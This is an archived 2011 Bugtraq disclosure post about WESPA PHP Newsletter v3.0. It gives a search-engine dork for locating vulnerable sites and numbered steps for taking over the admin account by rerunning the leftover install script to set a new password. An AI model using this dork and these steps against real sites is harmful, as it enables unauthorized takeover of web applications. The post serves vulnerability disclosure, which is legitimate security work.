bugtraq - "WESPA PHP Newsletter v3.0" Remote Admin Password Change With install path

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201103282143.p2SLhhg2013285@www3.securityfocus.com>
Date: Mon, 28 Mar 2011 15:43:43 -0600
From: cseye_ut@...oo.com
To: bugtraq@...urityfocus.com
Subject: "WESPA PHP Newsletter v3.0" Remote Admin Password Change With
 install path

#####################################################################################
####       "WESPA PHP Newsletter v3.0" Remote Admin Password Change With         ####
####                               install path                                  ####
#####################################################################################
#                                                                                   #
# Author: alieye                                                                    #
#                                                                                   #
# class : remote                                                                    #
#                                                                                   #
# E-mail: cseye_ut@...oo.com                                                        #
#                                                                                   #
# greetz: C.S.Eye Security Team members                                             #
#                                                                                   #
# We Are: Alieye , Z0d14c , Bully13 , Stanly , Safety & All Iranian Hackers         #
#                                                                                   #
# Site  : www.gcmt.vcp.ir , blog : www.cseye.blogfa.com                             #
#####################################################################################

download : http://www.wespadigital.com/scripts/wespanewsletter/wespa_php_newsletter_v3.zip


Dork : intitle:"News list Administration panel" or "WESPA PHP Newsletter v3.0"


Example :


1. Go to url : target.com/newsletter/admin.php

2. Clean admin.php and Go to target.com/newsletter/install/install1.php

3. Write new password for admin and click next stage

4. finish install

5. Go to url : target.com/newsletter/admin.php

5. Login admin with new password